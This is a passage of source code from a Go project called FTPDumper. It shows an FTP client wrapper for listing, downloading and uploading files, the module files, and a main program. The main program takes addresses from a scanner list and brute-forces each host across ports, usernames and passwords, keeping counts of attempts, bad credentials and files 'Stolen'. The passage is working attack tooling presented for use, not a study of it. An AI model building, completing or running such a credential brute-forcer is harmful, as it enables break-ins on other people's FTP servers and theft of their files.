f.conn.FileSize(file.Name) 88 | if err != nil || fileSize < 1 { 89 | continue 90 | } 91 | // Populate the File struct with file name and size 92 | files[i] = File{ 93 | Name: file.Name, 94 | Size: fileSize, 95 | } 96 | } 97 | 98 | // Return the list of files and no error 99 | return files, nil 100 | } 101 | 102 | // DownloadFile downloads a file from an FTP server. 103 | // 104 | // Parameters: 105 | // - output: the path where the downloaded file will be saved. 106 | // - filePath: the path of the file to be downloaded from the FTP server. 107 | // 108 | // Returns an error if any occurs during the download process. 109 | func (f *FTP) DownloadFile(output, filePath string) error { 110 | // Retrieve the file from the FTP server 111 | reader, err := f.conn.Retr(filePath) 112 | if err != nil { 113 | return err 114 | } 115 | 116 | // Ensure the reader is closed after the function returns 117 | defer reader.Close() 118 | 119 | // Create the output file 120 | file, err := os.Create(output) 121 | if err != nil { 122 | return err 123 | } 124 | 125 | // Ensure the output file is closed after the function returns 126 | defer file.Close() 127 | 128 | // Copy data from the FTP server reader to the output file 129 | _, err = io.Copy(file, reader) 130 | if err != nil { 131 | return err 132 | } 133 | 134 | return nil 135 | } 136 | 137 | // UploadFile uploads a file to the FTP server. 138 | func (f *FTP) UploadFile(fileName string, reader io.Reader) error { 139 | return f.conn.Stor(fileName, reader) 140 | } 141 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module FTPDumper 2 | 3 | go 1.22.2 4 | 5 | require ( 6 | github.com/integrii/flaggy v1.5.2 7 | github.com/jlaffaye/ftp v0.2.0 8 | ) 9 | 10 | require ( 11 | github.com/hashicorp/errwrap v1.1.0 // indirect 12 | github.com/hashicorp/go-multierror v1.1.1 // indirect 13 | ) 14 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 2 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 3 | github.com/google/go-cmp v0.5.6 h1:BKbKCqvP6I+rmFHt06ZmyQtvB8xAkWdhFyr0ZUNZcxQ= 4 | github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 5 | github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA= 6 | github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= 7 | github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I= 8 | github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= 9 | github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo= 10 | github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM= 11 | github.com/integrii/flaggy v1.5.2 h1:bWV20MQEngo4hWhno3i5Z9ISPxLPKj9NOGNwTWb/8IQ= 12 | github.com/integrii/flaggy v1.5.2/go.mod h1:dO13u7SYuhk910nayCJ+s1DeAAGC1THCMj1uSFmwtQ8= 13 | github.com/jlaffaye/ftp v0.2.0 h1:lXNvW7cBu7R/68bknOX3MrRIIqZ61zELs1P2RAiA3lg= 14 | github.com/jlaffaye/ftp v0.2.0/go.mod h1:is2Ds5qkhceAPy2xD6RLI6hmp/qysSoymZ+Z2uTnspI= 15 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 16 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 17 | github.com/stretchr/testify v1.8.3 h1:RP3t2pwF7cMEbC1dqtB6poj3niw/9gnV4Cjg5oW5gtY= 18 | github.com/stretchr/testify v1.8.3/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= 19 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 20 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 21 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 22 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "FTPDumper/Core" 5 | "FTPDumper/Dumper" 6 | "errors" 7 | "fmt" 8 | "time" 9 | ) 10 | 11 | func main() { 12 | fmt.Println("Starting FTP Dumper...") 13 | 14 | if Core.Verbose { 15 | fmt.Println("Setting up reader") 16 | } 17 | reader := Core.NewReader(Core.Scanner, Core.Type) 18 | 19 | if Core.Verbose { 20 | fmt.Println("Setting up pool") 21 | } 22 | pool := Core.New(Core.Limit) 23 | pool.Start() 24 | defer pool.Stop() 25 | 26 | if Core.Verbose { 27 | fmt.Printf("Limit: %d\n", Core.Limit) 28 | fmt.Printf("Output Folder: %s\n", Core.OutputFolder) 29 | fmt.Printf("Scanner: %s\n", Core.Scanner) 30 | } 31 | 32 | go func() { 33 | for { 34 | fmt.Printf("\033[33mAttemp: [%d] \033[97m|\033[32m Success: [%d] \033[97m|\033[91m BadCred: [%d] \033[97m|\u001B[96m Stolen: [%d]\n", Core.Counter.Get("Total"), Core.Counter.Get("Success"), Core.Counter.Get("BadCred"), Core.Counter.Get("Stolen")) 35 | time.Sleep(time.Second) 36 | } 37 | }() 38 | 39 | for address, err := reader.Next(); address != "" && err == nil; address, err = reader.Next() { 40 | pool.Submit(func() { 41 | for _, port := range Core.Ports { 42 | for _, user := range Core.Users { 43 | for _, password := range Core.Passwords { 44 | err := Dumper.Try(address, port, user, password) 45 | if errors.Is(err, Core.TimeoutErr) { 46 | return 47 | } 48 | if errors.Is(err, Core.BadCredErr) { 49 | Core.Counter.Increment("BadCred") 50 | } 51 | 52 | if err == nil { 53 | return 54 | } 55 | } 56 | } 57 | } 58 | }) 59 | } 60 | } 61 | --------------------------------------------------------------------------------